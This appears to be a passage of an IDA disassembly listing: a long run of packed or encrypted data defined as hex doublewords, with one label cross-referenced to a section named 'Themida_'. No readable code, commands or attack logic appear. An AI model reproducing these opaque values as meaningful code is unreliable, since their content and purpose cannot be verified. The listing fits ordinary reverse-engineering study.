dd 42D8A7h, 156A6134h, 54AC4432h, 9067E7F7h, 2988B70Eh
dd 9D6998F3h, 15664412h, 156ACB52h, 73121132h, 14DC27Dh
dd 8250BE3Eh, 128EA83Ch, 41661132h, 436F9B2Eh, 743E85A2h
dd 8D7A7BBh, 9C9E1727h, 6541B7h, 188F2434h, 27662232h
dd 0CEA8E1B5h, 945F9B3Eh, 4758C4F1h, 74A9953Dh, 97695158h
dd 15668833h, 5662CCBh, 99692232h, 15661124h, 156699DBh
dd 0B5CB7932h, 9255E85h, 48AA7382h, 8C7A3268h, 1F8F4113h
db 32h
byte_5F4505 db 22h, 66h, 1Ah ; DATA XREF: Themida_:0058F5E9o
dd 6050B9C9h, 4B41CBC7h, 15662C89h, 0FC9E2233h, 1566113Eh
dd 4FCE0797h, 0EB558B15h, 233E60DBh, 0EA9E1158h, 4241A7h
dd 0FC372434h, 15662238h, 0C2FF41Bh, 0F869AF28h, 1A38F070h
dd 9C07D28Dh, 4CECB7h, 0CEE7E834h, 6E6676FBh, 5CD3A953h
dd 0FC600406h, 1566883Ah, 0AFCD2E58h, 0ABA95ED1h, 0C2B8CB9h
dd 73068E27h, 0CE7F9EB3h, 156628DBh, 0F78F4F32h, 98A06168h
dd 7478C69Ch, 1FF797BBh, 1A061727h, 15668ABBh, 1AE3F032h
dd 156630B3h, 156AF932h, 8B28832h, 0ACDAA9CBh, 2363D8A7h
dd 743D557Ah, 1564073Dh, 74064432h, 2BFBFBBh, 0FC061727h
dd 1566883Ch, 0D9EAF8B8h, 992EAC95h, 0FDFFAAAh, 9969CB75h
dd 15664425h, 156633DAh, 6167A332h, 48DF3C4Ah, 892A21D7h
dd 0A91B30E8h, 743D8F1Bh, 0C2B15B9h, 9B694227h, 1566222Fh
dd 29D97752h, 157760B4h, 18AE4432h, 9F19230Dh, 6E771C20h
dd 46663F66h, 4BD1C1F8h, 9E55DD53h, 0D1E5353Eh, 14EC8736h
dd 0E9664432h, 1A66DBB1h, 155E30B6h, 95DFE832h, 0FC042D17h
dd 1566223Eh, 6623752h, 0DF996263h, 5F008DBBh, 77094A53h
dd 11EF1132h, 19E68716h, 1A664432h, 156624BBh, 15EE1E32h
dd 43668832h, 0D3E7A2BBh, 15662236h, 9262FFB1h, 9C3AAC06h
dd 759F603Eh, 0FCA613C7h, 15661139h, 9D20F309h, 6E2633DEh
dd 9CC1DFE7h, 6C4CB7h, 0AC06E834h, 2F1C8D9Eh, 9FBBE8B3h
dd 73074A52h, 746F3D88h, 127D2C61h, 443D262Bh, 0C61368Bh
dd 4CADB936h, 0FC3D9ABBh, 1566223Dh, 0DF8468B9h, 0B91C438Ch
dd 1656A1D4h, 94495069h, 8A6FBEF4h, 9E880922h, 164F3921h
dd 94460646h, 68759AF4h, 0BA88091Bh, 0EC76DB3Bh, 1A8F8F54h
dd 36661132h, 8DA98E03h, 0CDE911A6h, 3A1EF75Eh, 0C04BD32Ah
dd 16294220h, 42466076h, 6B4F6B8Dh, 0E289C05Ch, 97A909EDh
dd 94015464h, 5D7517F5h, 0D7A1902Dh, 142638CDh, 9A691BCAh
dd 15662227h, 15699F3Dh, 1F8F8832h, 0F4664432h, 37C342EEh
dd 136D39BAh, 6D167743h, 714270B3h, 4B73F733h, 399FAA61h
dd 0F6E7EF24h, 0DD23DA2h, 9460C9F3h, 2D4A7FC1h, 0BD950937h
dd 2476A94Fh, 940679ECh, 92D4F8F4h, 0CDEDE1Bh, 4B6197CCh
dd 9E88A353h, 945FC262h, 571944F4h, 31124774h, 0D988A312h
dd 9420534Dh, 0C63603F4h, 6399BC0Bh, 18F7D2Ah, 8B661132h
dd 0F90A8948h, 51ECA549h, 58B8A12Ch, 2D463B2Ch, 9C97894Bh
dd 4EF18Fh, 12EE2D34h, 1A661132h, 156689B8h, 0EAE3B832h
dd 1524A73Dh, 9A691132h, 1566883Ah, 1564C93Dh, 74062232h
dd 1538E6DAh, 19E88732h, 1A664432h, 156624B6h, 15E31E32h
dd 0FC668832h, 15664183h, 1567A33Dh, 0FC9A1132h, 1566883Eh
dd 4F9C6C73h, 0A6ADDFE3h, 0ADEB913Ah, 1542895Ah, 316ACD32h
dd 198F42C7h, 8661132h, 165B9AA8h, 3957EDE4h, 1AF18BA6h
dd 156611BDh, 0F9E5E932h, 3152CD36h, 0E7EFDCBBh, 0CE31E6Ch
dd 75668832h, 0FCBE84B2h, 1566223Dh, 4D454275h, 0A893EFC3h
dd 998B8DDCh, 74EE8BBDh, 156F9E3Dh, 0AA068832h, 2C449733h
dd 7E077861h, 128F15E0h, 28668832h, 77532001h, 80EFCBADh
dd 1373001Bh, 93DEEE52h, 1568AC89h, 744F2232h, 51C6F5ACh
dd 9C84D64Eh, 0D8BF6DA3h, 743FFCB9h, 95691558h, 15668835h
dd 7655FE52h, 7D07257Ch, 15660132h, 1573013Dh, 58F4432h
dd 0F7662232h, 0DB887906h, 8576401Bh, 0CAB8C149h, 47DDF518h
dd 0D7E7F3BBh, 15668836h, 9262AEB1h, 9C3A0626h, 7F9E3526h
dd 15726132h, 7ADC4432h, 0E3823611h, 49531735h, 9C165278h
dd 0EA5D9E25h, 80992BE7h, 137335FBh, 156682DBh, 75A01632h
dd 7D6644DDh, 1ADE5B18h, 156689BEh, 90EFBD32h, 13732997h
dd 1568F952h, 3E0B8832h, 0CDDB9B3h, 0F6CA6F66h, 641AF3Ch
dd 4AB50354h, 156650DAh, 4917E332h, 3D4D1F94h, 98E6186h
dd 38EFF255h, 0DDD4AF30h, 1574F8C1h, 0F2D08832h, 5AA5F263h
dd 3BBB03F3h, 63403351h, 8AB0B9E1h, 0AA0E2569h, 9C662236h
dd 0FC3C3536h, 15668821h, 9018516Eh, 16CC4811h, 3238EA27h
dd 387915C1h, 9ED870FAh, 9C31063Eh, 11A190D5h, 96668832h
dd 29E140F5h, 98697E16h, 15661137h, 0E2ED7D52h, 4848AC53h
dd 18F2232h, 91661132h, 817FF3B6h, 8D9DDB96h, 981ACBC2h
dd 9D7C31CEh, 7D63A402h, 15662D62h, 754216BBh, 156614DAh
dd 86037A32h, 7438B0C4h, 7330429Fh, 9ED8C3B3h, 0A5E0336Ah
dd 10074F37h, 0AE06A51h, 0E49B137h, 31228B00h, 3AC66916h
dd 764B1029h, 7579977Ah, 15668FDBh, 9E39E732h, 9424AADEh
dd 980E4153h, 9C668829h, 4A3E600Eh, 1561AF3Dh, 97691132h
dd 15668833h, 0EBEF12CEh, 314AA364h, 46222C0Fh, 28A50969h
dd 4B35000Fh, 0F3EF74CAh, 1562D7B3h, 0FBE78832h, 15664436h
dd 494216B5h, 75422DBBh, 156681DBh, 1FE0B32h, 249738A9h
dd 0AF353536h, 16E7B402h, 7506256Bh, 1566AE3Dh, 9E691132h
dd 15668832h, 1568AD53h, 936B2232h, 0DDD7ABF3h, 7C7126BAh
dd 0E3C3E8BDh, 75A61253h, 0EDFEE2B2h, 0E8132653h, 156643DBh
dd 816BC532h, 4F06BA3Ah, 315203C7h, 9485CD61h, 156626F1h
dd 11A59032h, 92668832h, 1A3A602Eh, 15662EB1h, 13E11E32h
dd 1A668832h, 156644B1h, 0BEA1A332h, 94648C56h, 12C22DDh
dd 94B96D1Ah, 12C88F5h, 0BE89901Ah, 0FC641556h, 1566443Fh
dd 92432357h, 2979370Fh, 9D26E632h, 9C36BD64h, 156227D2h
dd 114B1132h, 92668832h, 9C3A6036h, 68F0626h, 0A4661132h
dd 0C9443906h, 0DF903549h, 5C87FA78h, 0EAD48B8Fh, 4336E4F0h
dd 0E5EFBABBh, 4DA4AB6Ch, 0BCDB9ACEh, 1A609D2Eh, 15664AB3h
dd 156FCB32h, 0AAE81132h, 41AFDF24h, 0AC571A4Fh, 0EA99DDCDh
dd 1572923Dh, 1A8F8832h, 4F664432h, 4BFB2213h, 6E76A8E3h
dd 9A766537h, 0D557555Fh, 0AC3770CAh, 6FE2604Ah, 9BEE49B3h
dd 0DFEFC149h, 9F94236Bh, 9F694B30h, 1566883Fh, 15664CDBh
dd 21B61032h, 0FB22CBB4h, 0FCAEB800h, 1566443Eh, 0CCF31CFFh
dd 883D413h, 2CF73132h, 0E5578203h, 8326E403h, 156619DBh
dd 40239332h, 0E4949064h, 1AEF2DABh, 0FC661132h, 15668838h
dd 0C4E8AA1Ah, 46683CFBh, 2199A30Ah, 316203B5h, 0FC6280B1h
dd 15662237h, 0A0DEDECh, 1D8F4919h, 3857FF52h, 0AF005B16h
dd 24071360h, 157261F3h, 0C1544432h, 7795144Ch, 0D040C20Fh
dd 3F4A3716h, 14C924B4h, 1A2C1D7Dh, 0EA9944B7h, 1BE487CDh
dd 0FC664432h, 1566223Bh, 77521D5Ch, 1364F45Ah, 550EB8E8h
dd 9C662225h, 1A3E353Eh, 156680BFh, 17E04B32h, 75662232h
dd 0C2918653h, 0D2577003h, 7306BC03h, 1A940089h, 156610BDh
dd 0EA077D32h, 943C6006h, 156626F6h, 0E00EE932h, 9C66887Bh
dd 11E76036h, 124E0316h, 94649E40h, 124EA918h, 156AAD40h
dd 26A02232h, 0E9705375h, 1B882051h, 453334D1h, 1566268Ah
dd 4DA39832h, 0FC3B6233h, 15664435h, 0A41573A8h, 409BBD15h
dd 0D0E76DBBh, 15664436h, 9262CFB1h, 9C3A351Eh, 9506AC26h
dd 1D8E42D2h, 7A662232h, 60F3F380h, 0FC3D45A0h, 15664422h
dd 3D9417C6h, 0BEDDA647h, 7CD3FB27h, 0E6D0054Fh, 1A064368h
dd 156612B9h, 7FBD0832h, 749CF33Dh, 1F3BA7CDh, 9E9A1727h
dd 6CD5A7h, 805FBD34h, 13730A87h, 1503953Dh, 94698832h
dd 15664433h, 3152DDC7h
dd 11A29268h, 315203CEh, 9480CD64h, 156626F4h, 11A09232h
dd 4942BCB5h, 11DF15C7h, 94662232h, 0C3030F4h, 94A8897Ch
dd 0C3065DCh, 188F7B7Ch, 0B8661132h, 0E7A821AFh, 88ADC321h
dd 1E0B1B95h, 0EA9A63DBh, 0AA06E8CDh, 2A1B0404h, 1566AE3Dh
dd 1A071132h, 156688B9h, 9E9E2532h, 9C360626h, 156214D2h
dd 11638832h, 92664432h, 1A3A0636h, 15661BB7h, 9069E832h
dd 15664432h, 0EA074352h, 94383506h, 15668CF6h, 1BEC4B32h
dd 0FC662232h, 1566113Bh, 989EA910h, 0EA424112h, 198F4376h
dd 78661132h, 0D04B82BBh, 97D541CBh, 1AAD8283h, 15661FBDh
dd 9669E832h, 15664432h, 1566A03Dh, 9E071132h, 9C34AC3Eh
dd 11A4C5D0h, 94662232h, 156615F0h, 31720F32h, 11EDB86Eh
dd 0F5EF7216h, 15661537h, 15628D32h, 11E14432h, 0D29F7E16h
dd 7E40B7h, 15668834h, 1568AD32h, 16282232h, 59DFF46Bh
dd 0BFD42FA2h, 3955A1C9h, 1561A63Dh, 9E691132h, 15668833h
dd 4CE383C7h, 1560373Eh, 1A661132h, 156689B3h, 0A8E5B832h
dd 137AA550h, 3FE21E32h, 0EC668832h, 8DB5D9BFh, 9C692429h
dd 15661133h, 1A93E8CAh, 0EA07838Dh, 12ED2DE1h, 1A661132h
dd 156689BCh, 9569B132h, 15662233h, 80E3EECBh, 0E9609D20h
dd 7F3F9B1h, 1A022427h, 15644CB0h, 90A17D32h, 137356A7h
dd 15662233h, 989371CAh, 95219B7h, 19E14B34h, 1A662232h
dd 156617B3h, 15E18732h, 0EA664432h, 1569CBE2h, 80331132h
dd 0CE6F46BCh, 895B71F3h, 5D1ECAE7h, 3EF1E74h, 1A668832h
dd 156654B6h, 156DCB32h, 8DB61132h, 0D467619Dh, 1BDE49D1h
dd 27D3AFF7h, 75600DBAh, 15668DDBh, 121F1232h, 0A269BAA1h
dd 0A8EB70C3h, 137B9A1Ch, 64A1C5CAh, 943E7236h, 476EADDh
dd 9491A153h, 476BFF5h, 6489A353h, 753E4136h, 0AF980354h
dd 2355765Ah, 22464A53h, 29EF1132h, 9169D216h, 15664437h
dd 0EC0B9752h, 0BCDB9A53h, 0E0609D2Eh, 0EA99BB8Bh, 0D557D7CDh
dd 156E993Dh, 96698832h, 15664430h, 0AE354352h, 15661132h
dd 16EC7B33h, 944258B9h, 156626F6h, 1575F832h, 0DDF48832h
dd 761BC7E1h, 0BC5DBEC9h, 0D5A6C55Eh, 0D95BEDCEh, 75AE7454h
dd 9400DBB9h, 7426E6FAh, 0EA993260h, 0C34FBBCDh, 95934268h
dd 0FC075BFAh, 15668835h, 6C1535Eh, 0EA4FABD8h, 11ED9606h
dd 11A20B16h, 156AC73Dh, 73062232h, 94C8D388h, 240F21C0h
dd 0FCA7255Eh, 156ACB3Ah, 0ECA71132h, 6425770Bh, 4F2E383Ch
dd 0D45753F5h, 4FBC9052h, 0FC52F1B6h, 15664438h, 0DF964176h
dd 9CEF9B16h, 5F07CC3Ch, 0EA36C13Dh, 9469DDCDh, 1566113Bh
dd 15EC8752h, 0EC664432h, 118AA153h, 94421DBBh, 1EBAC06h
dd 203E2533h, 746736BFh, 19141CAh, 31620316h, 156280B3h
dd 2C9A2232h, 47B4B7h, 8BE28734h, 0FC664432h, 15662234h
dd 60880024h, 0F9E7A9AFh, 15664436h, 0A8420EBBh, 2B953E22h
dd 946165F3h, 68801ADFh, 488EAB32h, 156618DBh, 7D48C832h
dd 1CCE12Ah, 0D56DCBDFh, 1551943Dh, 43068832h, 15664ADAh
dd 4F1C6332h, 0CC48A263h, 2FE657E6h, 4AC7A90Eh, 9969426Ch
dd 15661132h, 1566023Dh, 74074432h, 0B03A7F5h, 15671727h
dd 90698832h, 15664433h, 0AFDB77CAh, 9466206Bh, 5547A1F3h
dd 948F452Ah, 55470BDBh, 78F4C2Ah, 0C3668832h, 0E4D62531h
dd 89AF0D7Dh, 0A012ED93h, 385CFB76h, 68F25C7h, 0D9662232h
dd 0EC3F0E9Bh, 0A59290D3h, 0D2416618h, 5C615D06h, 7D357B59h
dd 7CC1C7C9h, 0A085C569h, 0E236566Fh, 0E7DC43E1h, 3C0E2E23h
dd 0FEE71EE1h, 0E03C793Ah, 0E93DC8BBh, 133A3163h, 7D300B59h
dd 44EC5616h, 8E88906Ch, 94705C04h, 28CA87DCh, 4B94AB42h
dd 0E03FDB33h, 5EB00852h, 7506E953h, 1D81A354h, 0CA8F904Eh
dd 7422C304h, 9C9E25CEh, 6CB387h, 53A1E834h, 0ED647ACEh
dd 0E900C526h, 366440C7h, 149A57B3h, 94668832h, 52B5B87Ch
dd 5BE701CDh, 765D4ACEh, 0E9200912h, 0C966C437h, 0FDA0A952h
dd 1566113Fh, 5DE42035h, 30E787A2h, 7B036D35h, 156AF861h
dd 6F5D8832h, 0C34CD88Eh, 4B89CA30h, 7438A541h, 0FB88660Fh
dd 0A1E34BDCh, 75662232h, 1565973Dh, 9E008832h, 2BE725F4h
dd 0C8BBFFEFh, 15FB943Dh, 1A068832h, 156642BDh, 15E72D32h
dd 73661132h, 746BEF88h, 6C7AFE60h, 0A8333EB8h, 9EC682Eh
dd 9C3B621Bh, 449A1E24h, 1566268Bh, 9EA81032h, 0D1E7AC3Eh
dd 15664436h, 1567A33Dh, 9C931132h, 6C1987h, 9E69BC34h
dd 15662223h, 156D983Dh, 138F8832h, 7C664432h, 4B31D713h
dd 3E78F8D9h, 0FC068832h, 15664437h, 608BCA22h, 4862A8E8h
dd 0FC079A17h, 0EA99BA84h, 156630DBh, 29D84432h, 59735283h
dd 22D349Eh, 0E4ADA98Eh, 1A1543A2h, 156682BDh, 1563AD32h
dd 35F02232h, 94A589C6h, 15668CDEh, 3162CD32h, 854226B3h
dd 4E1DAB12h, 35F663B3h, 0ED063F88h, 156630DBh, 71F4D332h
dd 0A44DB598h, 2B39F45Dh, 0E8319885h, 7465D013h, 0B030D01h
dd 48F4227h, 35662232h, 39569928h, 4D2BC037h, 3C43EF59h
dd 12117B27h, 1A65D9F3h, 15669CBAh, 1BE84B32h, 0FC662232h
dd 1566113Bh, 8C3FF754h, 0BB8A55F6h, 0A3DC70A1h, 0C4116737h
dd 759409D0h, 943E632Ah, 183982C0h, 1184D068h, 94606AF3h
dd 65A56AF0h, 4FB62360h, 3B4BC11Bh, 750D2B41h, 156656DAh
dd 6CD9B532h, 779A961Ch, 0CA7A4812h, 0DB918EAh, 1AB2B0A0h
dd 0FC3DE785h, 15668837h, 7143C851h, 78F43C5h, 0F1661132h
dd 17C3886Bh, 5906A967h, 7F72BB3Bh, 112B8D27h, 5A64902h
dd 1567CF3Dh, 24932232h, 1560F8FAh, 0FC1B8832h, 56F7C735h
dd 0B03BFBBh, 9B691727h, 1566883Ah, 1564CE3Dh, 74062232h
dd 1466110Fh, 0AAE58732h, 0FC664433h, 15662221h, 0A966EB7Ch
dd 82FB73F0h, 0DB34A9EDh, 0B0FF4AD7h, 943BF563h, 0AEDD330Ch
dd 8EE34B89h, 75662233h, 10E31ECEh, 73668832h, 0E173A3B3h
dd 460E553h, 0C44AAB78h, 14DDDB14h, 1C041E5Fh, 13E7792Ch
dd 91E713EFh, 15668DDBh, 433C4532h, 0AA31C191h, 15661136h
dd 469B4EB3h, 0EB674E72h, 469BCCB3h, 0FC391B72h, 15668821h
dd 0F81F886Ch, 0DAC9EC0Eh, 0F5FC4A19h, 894C0A30h, 9CC2846Ah
dd 6CB387h, 19E41E34h, 1A668832h, 156642BEh, 15E12D32h
dd 9E661132h, 7FC5AFh, 2699B834h, 94422EB9h, 156615F6h
dd 138FE832h, 0A9664432h, 7449B51Fh, 2AD97716h, 0F9E5E91Bh
dd 3162CD36h, 1576CB68h, 0D8251132h, 716C5ED0h, 0B79CA490h
dd 12B78694h, 1A06A349h, 156689B9h, 9B69B132h, 15662221h
dd 15661FDBh, 59E27F32h, 870F445Fh, 952146Bh, 4343F1C1h
dd 0E5EFD660h, 14EA4B6Ch, 0E9662232h, 9DB9419h, 93698E27h
dd 15664420h, 15662FDBh, 90F3A332h, 0BFEF457Ah, 6F928E92h
dd 0F5A753ADh, 83D77130h, 0D55C51B3h, 16073010h, 674BB7h
dd 5E21E34h, 75668832h, 156641DBh, 78C66132h, 0AB006C3Eh
dd 2407DC0Fh, 24A075C2h, 0ED3442C2h, 74979A69h, 14EE879Fh
dd 0E9664432h, 1D62251Fh, 43AE1026h, 1D628F8Ch, 4B964526h
dd 156CAB3Dh, 108F1132h, 41668832h, 767F34F8h, 3122ABC7h
dd 1DE41E2Eh, 1A668832h, 156646BBh, 74074232h, 15661CDBh
dd 54338632h, 413427ECh, 0F24E66BEh, 698FD391h, 75668831h
dd 35C75C8Ah, 13E32D6Dh
dd 1A661132h, 156688B0h, 0F9E72532h, 15662236h, 75421DBBh
dd 0FCBF3F3Dh, 15664422h, 0B2FB29Ch, 0D82C90BCh, 26531FB1h
dd 0D3807B4Eh, 0F2EF7553h, 1562D6B3h, 0FAE58832h, 315AC336h
dd 3172AB6Eh, 156602DBh, 0B0516E32h, 27BF605Dh, 2A70FBCh
dd 782CB090h, 0E884422Ch, 95698D03h, 15662233h, 0B0F39ACEh
dd 0FC609D39h, 1566443Ah, 0C3640E65h, 0CEC19E58h, 91698A09h
dd 156644DDh, 156631DBh, 0C4A2C832h, 272F0415h, 0D088E52Ch
dd 2361440Eh, 0FC1AF468h, 1561DC5Ah, 317ACD32h, 15662689h
dd 4EBC1032h, 1577093Dh, 198F4432h, 0E9662232h, 886E9730h
dd 8F1F1BE4h, 46504284h, 9C0AE689h, 0E2B5E653h, 0D08D09E1h
dd 3C07CD5Eh, 1A0679EBh, 9E00C285h, 985DE9F9h, 13736C87h
dd 0EAF4A73Dh, 9569EECDh, 15668839h, 15E94B52h, 95662232h
dd 4307B7DAh, 6E7D9E8Ch, 0F18CFC59h, 0CA63B6B6h, 143E9F23h
dd 4B9A5C2h, 1A381CBCh, 156634BCh, 1E8F7132h, 0E6668832h
dd 0F78AE190h, 4629C74Dh, 0AE007559h, 9807DAFCh, 29DABFh
dd 1569CB34h, 99C11132h, 5DA48BFBh, 0DE6DBF62h, 80AF8443h
dd 12E81EB8h, 1A668832h, 156645B0h, 0F499D732h, 15739E3Dh
dd 1A068832h, 1E8FB785h, 0BB662232h, 52D423E7h, 86AA3059h
dd 9C07BD3Dh, 6C7FBFh, 0C8E67134h, 0CDDD897h, 4E70B9A3h
dd 3172A953h, 94879863h, 15668CF3h, 11A7C732h, 49422EB5h
dd 1567993Dh, 0EA9E8832h, 963F6006h, 1A0626F6h, 128FCA85h
dd 47668832h, 0B6D9C5EFh, 0E0072268h, 152B945Ah, 31520132h
dd 156649DBh, 81044A32h, 414BE205h, 0E673A3C3h, 9E69F4B9h
dd 15662226h, 0FDA79B52h, 15668838h, 23CEBF3Dh, 3225D747h
dd 743CAA6Ch, 0C2B15B9h, 1A9A4227h, 156623BFh, 2699E432h
dd 944284B9h, 156640F6h, 1BE82D32h, 0FC661132h, 1566883Bh
dd 513BBA0Dh, 0C517AF69h, 48E39A8Fh, 75609D38h, 94BCF33Dh
dd 47DAA0DDh, 0F5B7707Ah, 15720B3Dh, 0FC064432h, 15662239h
dd 0E4696A10h, 89E106DEh, 479A1835h, 9269436Ch, 1566112Ah
dd 15669BDBh, 0C90C0132h, 0BCA69111h, 1264BEF9h, 54E856E0h
dd 90AD6B93h, 37EFA731h, 96691727h, 15668834h, 4EDF2252h
dd 0E357435Ch, 156618DBh, 0CB34D532h, 28E5573Ch, 0BD0E6DF8h
dd 9C661131h, 4D30AC36h, 0B800B86Ch, 156630DBh, 61A42632h
dd 0B117B191h, 86D637A8h, 314826A1h, 0D46B0D5Ch, 99698AD2h
dd 15664439h, 0D6ED4452h, 1566953Dh, 16078832h, 672DB7h
dd 138E4234h, 78661132h, 0B0D29C01h, 4AD9F13Ch, 118AA353h
dd 9C661132h, 4D30AC36h, 1575AD6Ch, 23022232h, 16EF257Bh
dd 0FFB19B30h, 5F1AB4F7h, 678A3748h, 9869BC98h, 15668824h
dd 156655DBh, 596B8D32h, 142912B6h, 3C64F9DDh, 266B30A6h
dd 7506A886h, 4F314864h, 0E5E7E853h, 67DF22FCh, 1566AE3Dh
dd 74071132h, 4176AE37h, 5A5F4107h, 0DD670D92h, 0B529281Fh
dd 540A51Dh, 58F7166h, 61662232h, 386BE788h, 0EB64CC8Ch
dd 936A4418h, 75CDF050h, 1A38E864h, 15668AB3h, 743C1632h
dd 424216B9h, 0D2E7F6BBh, 15668836h, 156283B3h, 29E12232h
dd 969A4D16h, 4A658Fh, 91694534h, 156622E0h, 90EB2ACBh
dd 1A609D24h, 156681B6h, 1F8FD732h, 7B661132h, 0ACF7B131h
dd 0EE218662h, 9CEB1992h, 1A600435h, 156621B6h, 1569AD32h
dd 0B3D12232h, 0FB464155h, 0AAF45764h, 0A7360DF8h, 9CEB199Fh
dd 1A600425h, 156601B6h, 1560AD32h, 24FD2232h, 0A74263BCh
dd 0F14315BFh, 9669422Eh, 15662239h, 0D2ED7752h, 1566063Dh
dd 0EA074432h, 0F9E7DBE1h, 15661136h, 94428CBBh, 11A16006h
dd 94390FC6h, 0E162D6C5h, 156A611Fh, 0BCC4432h, 7A08AB9Bh
dd 5B6E50A5h, 138F7B5Eh, 76664432h, 0A3F201DDh, 98E398FAh
dd 75609D2Bh, 82D2AF8Ch, 4EB2D2Dh, 0FD661132h, 15668839h
dd 8F7553FAh, 0CFE69D9Ah, 4FFACA8Ch, 2F8F7D53h, 1A66442Ch
dd 156623B4h, 88EBE832h, 137A6C17h, 1568AD52h, 5E232232h
dd 0A0C7D638h, 0D6EF7C5Dh, 19CBEFAh, 0CBD92D64h, 0C699706Dh
dd 15669BDBh, 0A3205532h, 7F2D4768h, 878A790h, 21A89BF9h
dd 4794C326h, 398B9FB1h, 1A661727h, 1566DEB6h, 739A2432h
dd 0D2EFD4B3h, 24E32A53h, 1A609D3Eh, 156668B6h, 156DCB32h
dd 9A5E1132h, 551FC137h, 400FD9DFh, 74E31930h, 1A60043Bh
dd 1566AEB7h, 156DAD32h, 6B5F2232h, 7BA653F3h, 0DF262832h
dd 0EB90ADA6h, 0FC9FDDCDh, 15661139h, 145C0775h, 0A505C01Eh
dd 2E980511h, 4F2CB7h, 83E38734h, 1A664432h, 156623B6h
dd 9506E432h, 0F3E77DE1h, 21ABFFE1h, 0A0DBA153h, 1560041Fh
dd 15570C3Dh, 97694432h, 1566223Eh, 156616DBh, 0B4252732h
dd 19D5F6Bh, 100B9FB1h, 1A661727h, 1566D0B6h, 156BAD32h
dd 0AB892232h, 1EDE1124h, 892574C4h, 98357AD1h, 95991B7h
dd 1B8E7134h, 0FB668832h, 0D55CA8AFh, 0CC5D4E84h, 0A7B5582Dh
dd 0C3E7EEECh, 1A3EC943h, 156621B7h, 0D0AB9132h, 4C8F7153h
dd 7599BBCCh, 1565A13Dh, 0A2691132h, 156061FBh, 0D2934432h
dd 78F2F260h, 28E32A53h, 1A609D1Bh, 0EA9873B6h, 940042CDh
dd 94B633C5h, 16BC33E0h, 0A8E52538h, 137AA574h, 43E31E33h
dd 1A668832h, 15664AB4h, 156FCB32h, 0A9861132h, 26427110h
dd 0ED80888Fh, 921CA709h, 9069172Eh, 15668807h, 0CDED2252h
dd 0A095A354h, 90EB708Bh, 153F83D6h, 156643DBh, 91CE6B32h
dd 0D92261EDh, 0E89261CEh, 9869BBCDh, 1566223Fh, 156619DBh
dd 5F47CC32h, 0DA9F8BDFh, 0FC9913E7h, 15661137h, 5369320Dh
dd 0D4DBC726h, 15603723h, 1A64953Dh, 128F8832h, 0F7664432h
dd 0A6C21AF7h, 905D58C1h, 137A0F54h, 155EC13Dh, 0E09E2232h
dd 3C4F94B9h, 1A068E27h, 156647B1h, 0DED92D32h, 74A0AE3Dh
dd 448D3163h, 0CC917153h, 0DCE7F3C5h, 3B367B87h, 0E4E761E3h
dd 0F5210632h, 1A3FED1Bh, 156610B7h, 905D7132h, 137AC35Ch
dd 1546A73Dh, 9E9F1132h, 49B9B7h, 9E002434h, 0AD3643F8h
dd 0EA99EECDh, 753E4F1Bh, 0F4EFA789h, 7406740Fh, 905D7068h
dd 137A0F58h, 1558C13Dh, 9E9E2232h, 44DCB7h, 15766134h
dd 48D94432h, 8930CFA9h, 31C37BF6h, 87F1A22Dh, 0AD36B315h
dd 25993BE0h, 0E253517Ah, 55140569h, 30539CC5h, 3C245070h
dd 108F49F5h, 1668832h, 1E4D1B31h, 9214A709h, 9069172Eh
dd 1566881Ah, 24E3CFCAh, 0FC603702h, 15661135h, 4459558Ah
dd 434FED4Ch, 0EA99DD8Ch, 4B9138CDh, 47223C52h, 1566C13Dh
dd 743D2232h, 92109409h, 90698E2Eh, 15664450h, 15662DDBh
dd 0C4AF8B32h, 0F8EE1540h, 48E14127h, 5CE19361h, 12A394B9h
dd 0FD068E27h, 1566443Bh, 0A070CF69h, 98185C0Ch, 4E3DD8E4h
dd 14E44B53h, 0ED662232h, 0EA99AA61h, 0CA4F77CDh, 18E2469h
dd 0D662232h, 0A438EC10h, 0F8B36316h, 0DF105BD2h, 0AD9CB4F8h
dd 1AB54917h, 156688BEh, 0DEE61E32h, 905D43C4h, 137A9648h
dd 15490D3Dh, 92694432h, 1566223Eh, 156616DBh, 0F79DF132h
dd 119B24F6h, 0C83A7B9h, 0A3061727h, 0B7A608E2h, 14DD1753h
dd 14662232h, 99694AEDh, 15668833h, 6BE37FC7h, 1A603EB5h
dd 156620B7h, 15636132h, 79054432h, 9EB35284h, 6114B7h
dd 4B37E834h, 74A9F33Dh, 14DF73CBh, 14661132h, 1A06D1FDh
dd 156642B3h, 0FCB9A332h
dd 0A53DB405h, 905DE90Eh, 137AC3B0h, 154BA73Dh, 1F8F1132h
dd 0C3668832h, 2E8F7D59h, 206A0716h, 0A0E39AA8h, 0EC609D33h
dd 4D391465h, 198FB572h, 0E8661132h, 37CABE73h, 0A4553C7Bh
dd 2E0F40D5h, 9E197B7h, 56E38734h, 1A664432h, 156632B6h
dd 156DF832h, 750E8832h, 4D0AE943h, 0DB2B2C82h, 0A0E39A3Ch
dd 1A609D34h, 15664EB1h, 0F7E74232h, 72BEA78Eh, 4607E952h
dd 0EA99BB89h, 4EB90BCDh, 156E9D3Dh, 73068832h, 0A26986B9h
dd 905D43F2h, 137A96B8h, 155E0D3Dh, 9E9E4432h, 640BB7h
dd 19E51E34h, 1A668832h, 156642B3h, 15EC2D32h, 43661132h
dd 1566898Ch, 4B914532h, 156633DBh, 0E9D80432h, 1936AB79h
dd 0DCF3BC4h, 0C89F8F1Eh, 905DDFC4h, 137A0FA0h, 152DC13Dh
dd 73062232h, 959D698Ah, 9E078FC5h, 624DB7h, 156BCB34h
dd 75D31132h, 0FED466F6h, 0F9690479h, 468D3EBEh, 4011289h
dd 6BAD0967h, 5E4F6613h, 8DE5E1B3h, 0CA6793FEh, 15696169h
dd 0ADD74432h, 0F7FF10h, 97BDE563h, 66AA907Bh, 9BE37F70h
dd 1A603EB5h, 156649B7h, 14E88732h, 0E0664432h, 0DA79FB1h
dd 1A661727h, 1566CCB7h, 9069B832h, 1566223Eh, 1560913Dh
dd 97698832h, 15664432h, 37FA7B9h, 98691727h, 15668833h
dd 14DB11C7h, 14662232h, 0FC064CDDh, 15668823h, 0FEBE6022h
dd 0C6C9A04Bh, 26AA49AAh, 0BF614257h, 0CFD14B4Ch, 0ECDBA153h
dd 1560041Ch, 152F0C3Dh, 0AB064432h, 15A9B6EBh, 64959152h
dd 1566063Dh, 74074432h, 9D7CA709h, 9069172Eh, 15668819h
dd 156649DBh, 67C53532h, 5E5F7CD5h, 67EEF4FCh, 90ED265Ch
dd 13732857h, 0EADC43CAh, 3C9977CDh, 73061EE5h, 659BF8B3h
dd 96078F86h, 7A0D8Fh, 91694434h, 1566202Ch, 0E7D11E52h
dd 0FDE7EE63h, 74397FF7h, 7EB9FB1h, 1A661727h, 15648DB6h
